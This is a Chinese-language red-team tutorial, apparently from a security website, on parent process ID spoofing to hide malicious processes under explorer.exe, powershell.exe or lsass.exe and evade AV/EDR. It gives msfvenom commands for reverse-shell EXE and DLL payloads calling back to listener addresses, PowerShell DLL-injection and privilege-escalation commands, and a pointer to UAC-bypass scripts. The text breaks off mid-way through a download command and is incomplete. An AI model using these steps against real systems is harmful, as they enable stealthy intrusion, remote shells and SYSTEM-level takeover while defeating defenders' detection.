首页 网络安全 安全学院 查看内容

红队技术-父进程欺骗

2022-10-22 12:56 1361 0

摘要: 概述父进程欺骗是一种访问令牌操作技术,通过将恶意文件的PPID指定为explorer.exe等合法进程的PPID,可帮助攻击者规避启发式检测等防御技术。该欺骗可通过使用本地API调用来执行,该调用可帮助攻击者显式指定PID,如 ...
关键词: 进程 exe 可以 使用 注入 欺骗 PID shell Windows explorer

概述

父进程欺骗是一种访问令牌操作技术,通过将恶意文件的PPID指定为explorer.exe等合法进程的PPID,可帮助攻击者规避启发式检测等防御技术。

该欺骗可通过使用本地API调用来执行,该调用可帮助攻击者显式指定PID,如C++中的CreateProcess调用。正如我们将在本文中看到的那样,这种显式分配也可能具有某些附带好处。

MITRE 战术:权限提升(TA0004)和 防御规避(TA0005)

MITRE ATT&CK技术:T1134 :Windows访问令牌模拟窃取以及利用

子技术:T1134.004 :访问令牌操作:父 PID 欺骗

背景:

子进程监控是威胁狩猎中最常见的指标之一。应急响应人员可能会分析如果 conhost.exe 或 cmd.exe 进程是从 Adobe Reader 或 MS Excel 等零相关的应用生成的,则表明可能存在潜在威胁。安全防护软件会在启发式检测下监控此行为,并向管理员发出警报。

PID(PPID)欺骗方法可以绕过 AV/EDR检测,使其认为是 lsass.exe 这样的合法进程在进行活动。它通过欺骗进程的 PID 以匹配其父进程的 PID 来做到这一点。这种方法可能带来的另一个好处是,如果父进程以 SYSTEM 权限运行,则可以凭借访问令牌的继承,使其子进程也具有相同的 SYSTEM 权限。

进程、PID和PPID

进程:在 Windows 中,应用程序由一个或多个进程组成。简单来说,当前正在运行的程序的一部分称为进程。不同的应用程序可能会使用相同的进程(如cmd.exe),并且为避免歧义,会分配一个整数来区分一个进程和另一个进程。该整数称为PID

PID:代表进程标识符 (PID),它是正在运行的进程的数字表示。Windows 中通过 GetCurrentProcessID() 函数返回指定进程的 PID

父进程:父进程是可以派生多个子进程的进程。例如,命令explorer.exe /e,/root,"C:\WINDOWS\System32\cmd.exe"将派生cmd.exe作为父进程explorer.exe的子进程。在代码中,父进程可以使用fork()系统调用来派生子进程。

PPID:代表父进程标识符(PPID),它是提供给父进程的数字表示形式。任何包含子进程的进程都存在父子关系。

方法一(使用C++程序进行PID欺骗)

Didier Stevens 最初在这里的帖子中谈到了Windows API——"CreateProcess"这种方法。还发布了一个用C++编写的利用程序(SelectMyParent)。代码可以在这里下载:
https://web.archive.org/web/20210225035252/http:/www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip

请注意,如果您使用的是更高版本的Visual Studio,可能需要重新生成此EXE。在Visual Studio2022中,我删除了Debug and Release文件夹中的SelectMyParent.pdb文件,并重新生成了项目以使其运行。

在进程管理器中,你会看到 explorer.exe 在 PID 1624 上运行

因此,要在这个父 explorer.exe进程下运行我们自己的二进制文件,可以像这样使用 SelectMyParent.exe,你会看到在 PID 1624下创建了一个新进程。

E:\>SelectMyParent.exe notepad 1624

可以看到在PID 2836启动了notepad.exe

同样,我们也可以运行自己的EXE。让我们先用msfvenom创建一个可以反弹shellexe

# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe

在受感染端,使用tasklist /v查看进程运行详情。

在列表中,可以看到explorer.exe进程以test身份在进程ID 1624上运行。

然后运行生成的shell.exe,并附属在explorer.exePID

监听端收到的shell便是explorer.exe进程用户的权限

如果利用具有system权限的进程,即可进行提权。

方法二(使用Powershell DLL注入进行PID欺骗)

F-Secure 实验室利用 powershell 创建了替代上述Didier 二进制文件的方案。它也可以用于父进程欺骗,与上述方法不同之处在于,可以将带有注入的DLL的子进程派生为子进程,功能更强大。代码可以在这里下载
https://github.com/countercept/ppid-spoofing,首先在受害者机器上查看进程
ID,这里我们选择 Powershell 的 PID 24092 作为父进程ID

利用msfvenmon生成要注入的DLL

 msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=172.27.115.207 LPORT=7777 -f dll > shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes

然后进行注入:

Import-Module .\PPID-Spoof.ps1
PPID-Spoof -ppid 24092 -spawnto "C:\Windows\System32\notepad.exe" -dllpath .\shell.dll

可以看到注入的DLLNotepad.exe中加载执行了。

通过这种方式,PPID 24092上的powershell.exe进程派生了一个带有插入代码(由DLL提供)的notepad.exe

方法三(使用Powershell 脚本入进行PID欺骗)

Decoder-it 根据 Didier Stevens 提供的指南开发了一个 powershell 脚本,使用了 CreateProcessFromParent() 方法,可以在此处找到的psgetsystem脚本
:https://github.com/decoder-it/psgetsystem.git,可用于通过
PID欺骗派生子进程。首先我们查看所需进程的 PID。这里以lsass.exe为例

然后执行如下命令:

powershell -ep bypass
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")

如果报错,可能是UAC的问题,需要先绕过UAC,或者是权限过低,需要提权。

绕过UAC脚本可以在这里找到:
https://github.com/samratashok/nishang/tree/master/Escalation

然后下载所需的文件,然后执行命令

$client=new-object System.Net.WebClient 
$client.DownloadFile(
                      声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 
                      [邮箱地址] 删除
                    				    
                                        

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部